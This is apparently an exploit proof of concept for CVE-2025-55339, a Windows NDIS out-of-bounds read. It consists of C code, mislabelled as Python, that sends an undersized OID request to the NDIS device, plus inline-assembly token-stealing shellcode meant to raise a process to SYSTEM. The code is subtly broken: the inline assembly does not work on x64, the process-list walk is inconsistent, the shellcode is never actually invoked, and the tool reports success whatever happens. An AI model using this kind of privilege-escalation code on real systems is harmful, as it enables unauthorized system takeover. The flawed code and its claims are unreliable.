The following code is for security research and authorized testing only.
python
# CVE-2025-55339 - Windows NDIS Out-of-Bounds Read PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation approach.
# Actual exploitation requires kernel-mode code execution.
#include <windows.h>
#include <ntddndis.h>
#include <netioapi.h>
#include <stdio.h>
// Step 1: Prepare a malformed network packet to trigger OOB read in NDIS
// The vulnerability exists in NDIS packet processing routines
// where buffer length validation is insufficient.
BOOL TriggerNDISOOBRead() {
HANDLE hDevice;
DWORD bytesReturned;
BOOL result = FALSE;
// Open NDIS device driver
hDevice = CreateFileA("\\\\.\\NDIS",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open NDIS device: %d\n", GetLastError());
return FALSE;
}
printf("[+] NDIS device opened successfully\n");
// Step 2: Craft a malformed OID request to trigger the OOB read
// The key is to provide a buffer with insufficient size
// causing NDIS to read beyond the allocated memory boundary
NDIS_OID_REQUEST oidRequest;
ZeroMemory(&oidRequest, sizeof(NDIS_OID_REQUEST));
// Set OID to query - using a specific OID that triggers vulnerable code path
oidRequest.Header.Type = NDIS_OBJECT_TYPE_OID_REQUEST;
oidRequest.Header.Revision = NDIS_OID_REQUEST_REVISION_1;
oidRequest.Header.Size = sizeof(NDIS_OID_REQUEST);
oidRequest.RequestType = NdisRequestQueryInformation;
oidRequest.PortNumber = 0;
// Use an OID known to trigger the vulnerable NDIS code path
// The malformed input buffer size causes out-of-bounds read
oidRequest.RequestId = 0xDEADBEEF;
oidRequest.Oid = OID_802_3_CURRENT_ADDRESS; // Example OID in vulnerable path
// Allocate undersized buffer to trigger OOB read
UCHAR malformedBuffer[16] = {0};
oidRequest.InformationBuffer = malformedBuffer;
oidRequest.InformationBufferLength = sizeof(malformedBuffer);
// Step 3: Send the malformed request to NDIS driver
// DeviceIoControl will trigger the vulnerable code path
result = DeviceIoControl(hDevice,
IOCTL_NDIS_QUERY_GLOBAL_STATS,
&oidRequest, sizeof(oidRequest),
&oidRequest, sizeof(oidRequest),
&bytesReturned, NULL);
if (!result) {
printf("[-] DeviceIoControl failed (expected for PoC): %d\n", GetLastError());
// The OOB read may have already occurred at this point
}
printf("[+] OOB read triggered - kernel memory may be leaked\n");
printf("[+] Use leaked addresses for further privilege escalation\n");
CloseHandle(hDevice);
return TRUE;
}
// Step 4: Token stealing shellcode for privilege escalation
// After leaking kernel addresses, use token stealing to elevate to SYSTEM
__declspec(naked) void TokenStealingShellcode() {
__asm {
; Save registers
push rax
push rbx
push rcx
push rdx
; Get current thread (ETHREAD)
mov rax, gs:[0x188] ; KPCR->CurrentThread (Win10/11)
; Get current process (EPROCESS) from thread
mov rax, [rax + 0xB8] ; ETHREAD->Tcb.ApcState.Process (Win10/11)
; Walk process list to find System process (PID 4)
mov rbx, rax ; Save current process
mov rcx, [rax + 0x448] ; EPROCESS->ActiveProcessLinks offset (Win10/11)
SearchSystem:
mov rcx, [rcx - 0x448] ; ActiveProcessLinks.Flink -> previous EPROCESS
mov rdx, [rcx + 0x440] ; EPROCESS->UniqueProcessId offset (Win10/11)
cmp rdx, 4 ; System PID = 4
jne SearchSystem
; Copy SYSTEM token to current process
mov rax, [rcx + 0x4B8] ; EPROCESS->Token offset (Win10/11)
mov [rbx + 0x4B8], rax ; Replace current process token
; Restore registers and return
pop rdx
pop rcx
pop rbx
pop rax
ret
}
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-55339 - Windows NDIS OOB Read LPoC\n");
printf("[*] Windows NDIS Out-of-Bounds Read Privilege Escalation\n\n");
if (!IsUserAnAdmin()) {
printf("[!] This exploit requires initial code execution context\n");
printf("[!] Run as a low-privilege user to demonstrate LPE\n\n");
}
TriggerNDISOOBRead();
printf("\n[*] PoC execution completed\n");
return 0;
}